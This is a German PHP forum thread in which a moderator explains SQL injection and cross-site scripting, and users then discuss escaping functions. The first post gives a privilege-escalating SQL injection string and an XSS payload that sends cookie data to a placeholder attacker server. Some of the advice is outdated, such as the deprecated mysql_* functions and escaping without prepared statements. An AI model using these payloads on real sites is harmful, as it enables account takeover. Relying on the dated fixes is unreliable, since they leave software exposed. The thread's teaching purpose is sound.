Sicherheit von PHP-Software

rellek

relativ sensationell
Teammitglied
Dieses Thema soll dazu dienen, euch einen Einblick zu geben, welche Sicherheitsrisiken im Zusammenhang mit der Programmiersprache PHP drohen und wie sie zu umgehen sind.

Das wichtigste zuerst: ALLE von außen kommenden Daten sind BÖSE! Wer noch nicht so denkt, sollte damit am besten jetzt noch anfangen. ALLES, was die Software von außen annimmt, kann manipuliert sein und damit ein Sicherheitsrisiko sein!
Es ist dabei vollkommen unerheblich, wo die Quelle der Daten ist. Die können in in der Adresszeile sein ($_REQUEST), in Formularfeldern, die mit POST übermittelt werden ($_POST), in einer Mischung daraus ($_GET), in Cookies ($_COOKIE) und sogar in Server-Informationen ($_SERVER). In letzterem könnte beispielsweise die Browserkennung stehen, die, sofern sie irgendwo in der Datenbank landen, ebenfalls gefährlich sein können!


SQL-Injections
Was ist eine SQL-Injection? Eine SQL-Injection ist eine manipulierte SQL-Abfrage. Um sie korrekt auszunutzen, ist es notwendig, dass der Angreifer die Software kennt.
Wie funktioniert das?
Stellen wir uns vor, in einer Software gibt es mehrere Styles und der Benutzer sucht sich über die Adresszeile einen anderen Style aus, beispielsweise mit index.php?style=5.
Der PHP-Code in der Anwendung sieht wie folgt aus:
PHP:
/* ... */
$sql = "UPDATE software_users SET styleid = '".$_GET['style']."' WHERE userid = '".$user['userid']."';";
mysql_query($sql);
/* ... */

Diese Abfrage funktioniert. Es ist also per Definition kein Bug in der Software vorhanden. Aber eine Sicherheitslücke.

Wie ließe diese sich ausnutzen?
Nehmen wir an, es gibt noch die Spalte "groupid", die die Benutzergruppe des aktuellen Benutzers definiert und die ID 1 wären alle Administratoren.
Der Angreifer könnte nun die Sicherheitslücke wie folgt ausnutzen - er gibt einfach in die Adresszeile ein:
index.php?style=5',group='1

Was wird dann aus der SQL-Abfrage? In dieser werden brav die die Variablen ersetzt und es kommt dabei heraus:
Code:
UPDATE software_users SET styleid = '5',group='1' WHERE userid = '12345';
Und wo ist da jetzt die Gefahr? Es wird nicht nur der Style, sondern auch die Benutzergruppe des eingeloggten Benutzers gewechselt. Der Benutzer ist also Administrator, ohne dass er irgendein Passwort (außer sein eigenes) kannte!

Wie hätte das vermieden werden können?
Wie eingangs erwähnt, sind ALLE eingegebenen Daten böse. Daher müssen alle Daten, die ein Benutzer eingeben können wollte, überprüft und gefiltert werden.
Wie geht das?
PHP hat dafür einige Funktionen. In dem Beispiel hätte man $_GET['style'] mit der Funktion intval() filtern müssen. Diese Funktion sucht die erste Zahl, die in einem String vorkommt, heraus und gibt diese zurück. Ist keine Zahl enthalten, gibt die Funktion 0 zurück - also in jedem Fall eine ganze Zahl, mit der ein Anfreifer nichts anfangen kann.
Der PHP-Code sähe dann so aus und wäre sicher:
PHP:
/* ... */
$sql = "UPDATE software_users SET styleid = '".intval($_GET['style'])."' WHERE userid = '".$user['userid']."';";
mysql_query($sql);
/* ... */
Bei dem gleichen Aufruf würde nur noch eine 5 übergeben werden und entsprechend nur der Style geändert.

Nun gibt es aber auch andere Daten, beispielsweise Text. Wie siehts bei dem aus?
Bei Text existiert natürlich dieselbe Gefahr - auch hier können Abfragen manipuliert werden. Und auch dafür gibt es in PHP eine Funktion. Diese heißt addslashes() und ersetzt jedes ' und " im eingegebenen Text durch \' bzw. \". Damit wäre prinzipiell das Problem gelöst, weil ' bzw. " nicht mehr als Ende des Strings angesehen werden... Gäbe es kein Unicode. Aufgrund dieses Missstandes sollte statt addslashes() lieber mysql_real_escape_string() bzw. mysqli_real_escape_string() (für MySQLi) verwendet werden (Vgl.).

Wie bekomme ich raus, ob eine Variable korrekt gefiltert wird?
Einfach in eine Eingabemöglichkeit ' und " eingeben (nur einmal!). Wenn ein SQL-Fehler kommt, dann deutet das i.d.R. darauf hin, dass eine Variable NICHT korrekt gefiltert wird!



Cross Site Scripting (XSS)
XSS ist die andere Seite der Medaille. Hier liegt der Angriffspunkt nicht in den eingehenden Daten, sondern in den ausgegebenen Daten.
Wie läuft das ab?
Es gibt beispielsweise ein Eingabefeld - beispielsweise für die Lieblingsfarbe des Benutzers. In dieses Feld schreibt der Angreifer jedoch nicht "rot" oder "blau" rein, sondern beispielsweise:
Code:
<script language="JavaScript">alert("Hallo! :P");</script>
Wir gehen davon aus, dass die Eingabe korrekt gefiltert ist (s.o.), die Ausgabe hingegen gar nicht.
Möchte sich der Admin nun ansehen, was der Benutzer bei der Frage nach seiner Lieblingsfarbe geantwortet hat, erscheint jedoch nicht der Text, sondern eine Dialogbox mit "Hallo :p". Das ist zwar zu diesem Zeitpunkt noch nicht schlimm, sondern allenfalls nervig, aber ein Angriff ist, wenn so etwas möglich ist, nicht mehr zu weit entfernt.
Nehmen wir an, es gibt ein Login-Cookie, der ermöglicht, dass ein Benutzer (oder Administrator) immer automatisch eingeloggt ist, sobald er seine Seite betritt. Dann wäre für den Angreifer eben jener Cookie ziemlich interessant, denn so könnte er an den Passwort-Hash gelangen und mit Bruteforce das Passwort herausfinden - oder sich einfach ein Cookie basteln und ist eingeloggt, bis der echte Administrator sein Passwort ändert.
Hierfür bietet JavaScript auch eine Funktion an: document.cookie. Nun ist so eine Dialogbox noch immer relativ harmlos - aber wenn das geht, gehts auch noch schlimmer. Denkbar wäre, dass der Angreifer auf seinem eigenen Server ein Script installiert, das über die Adresszeile Daten sammeln kann (mit $_GET). Tarnt er sein Script, indem er so tut als wäre es ein Bild, ist der Drops schon gelutscht.
Code:
<script language="JavaScript">document.write('[img]angreifer-server/boeses-bild.php?daten=[/img]');
Webbrowser haben die Eigenschaft, eine Datei, selbst wenn sie kein Bild ist, auszuführen - in der Hoffnung, dass vielleicht irgendwann ein Bild überliefert wird. Genau das wird dem Admin das Genick brechen: Der Angreifer hat den kompletten Inhalt des Login-Cookies.

Wie kann ich mich davor schützen?
Bevor Daten, die ein Benutzer irgendwann mal eingegeben hat, ausgegeben werden, sollten sie unbedingt HTML-Verträglich gemacht werden, damit sie im Browser als Text und nicht als HTML-Befehl ankommen. Hierzu bietet sich der Befehl htmlentities() an. Dieser ersetzt alle im String vorkommenden Zeichen durch ihre HTML-Umschriften. Somit werden die spitzen Klammern, die sonst HTML-Befehle einleiten und beenden, zu &lt; und &gt; und damit unschädlich. Im Browser werden sie dennoch korrekt dargestellt.
 

deVadder

Member
Thema real_escape:
Kann man in die Funktion mehrere vars packen?
mysql_real_escape_string($text1,$text2,$text3);

Thema htmlentities:
Was macht man bei Ausgaben welche Teils < > zulassen sollen? z.B.
oder ?
Ich denke da an str_replace aber das wäre dirty oder nicht?
 

Titus

Goldmember
Kann man in die Funktion mehrere vars packen?
mysql_real_escape_string($text1,$text2,$text3);
bezweifle ich, außer du hättest gerne einen langen string zurück, dann halt
Code:
mysql_real_escape_string($text1.$text2.$text3);

bei einem Array sollte es lt. referenz mit array map gehen
Code:
$_GET = array_map('mysql_real_escape_string', $_GET);
 

rellek

relativ sensationell
Teammitglied
deVadder' schrieb:
Kann man in die Funktion mehrere vars packen?
mysql_real_escape_string($text1,$text2,$text3);
Nein, das geht so nicht. Es ginge eventuell, wenn du dir deine Variablen in ein Array packst und dann das Array ausliest und wieder ins Array schreibst.
Das könnte so aussehen:
PHP:
function escape(&$arr_r) {
    if(is_array($arr_r)) {
        foreach ($arr_r as &$val)
            is_array($val) ? escape($val):$val=mysql_real_escape_string($val);
        unset($val);
    }
    else
        $arr_r=mysql_real_escape_string($arr_r);
}

$escapeme = array('$var1' => $var1,
'$var2' => $var2);

escape($escapeme);
Dann ist am Ende $escapeme['$var1'] gefiltert.
Ich würd mir aber eher angewöhnen, alle Variablen wenn sie durch sind, zu filtern (kannst dir ja für die Funktion nen Alias schreiben, spart Tipparbeit). Oder halt direkt in der SQL-Abfrage, siehe Beispiel oben.

deVadder' schrieb:
Was macht man bei Ausgaben welche Teils < > zulassen sollen? z.B.
oder ?
Ich denke da an str_replace aber das wäre dirty oder nicht?
In dem Fall sollte beim Speichern schon auf die Entities geachtet werden. Das heisst, die
s sollten durch ein nl2br($string) gesetzt werden usw. Ansonsten musst du halt vorher doch ein str_replace machen und < durch sowas wie ###ka### und > durch ###kz### ersetzen. Ich würde erlaubte Tags aber geschlossen ersetzen (das
also durch ###ka###br /###kz### ersetzen, dann die Entites und dann das Ersetzen rückgängig. Nur die Klammern ersetzen ist albern, weil dann ja auch die <script ...> erhalten bleiben. Es gäbe auch noch strip_tags, aber das ist mit Vorsicht zu geniessen, weil es ja sein könnte, dass jemand schreiben will, dass "<script>" böse ist. Also die Klammern (in der Ausgabe, nicht im Quellcode!) gewollt sind.
 

deVadder

Member
Dann mache ich es vorerst so das nur br mit str_repl wieder gewandelt wird, bzw. dann &lt;br /&gt; wieder ersetzt wird (in der Ausgabe) mit
da es primär um die Zeilenumbrüche einer textarea geht.

viel wichtig ist auch mysql_real_escape_string nebst dem intval denke ich ;)

die mehrfachen escape_strings rufe ich nun halt einzeln auf, ist sauberer als arraywurschteleien, und da es nur in 2 großen functions vor kommt sollte das reichen.

So langsam wachsen die Funktionen alle ins unübersichtliche :p
 

rellek

relativ sensationell
Teammitglied
Wenns dir nur um die Breaks geht, dann mach das nl2br() halt erst nach dem Escapen.
 
Oben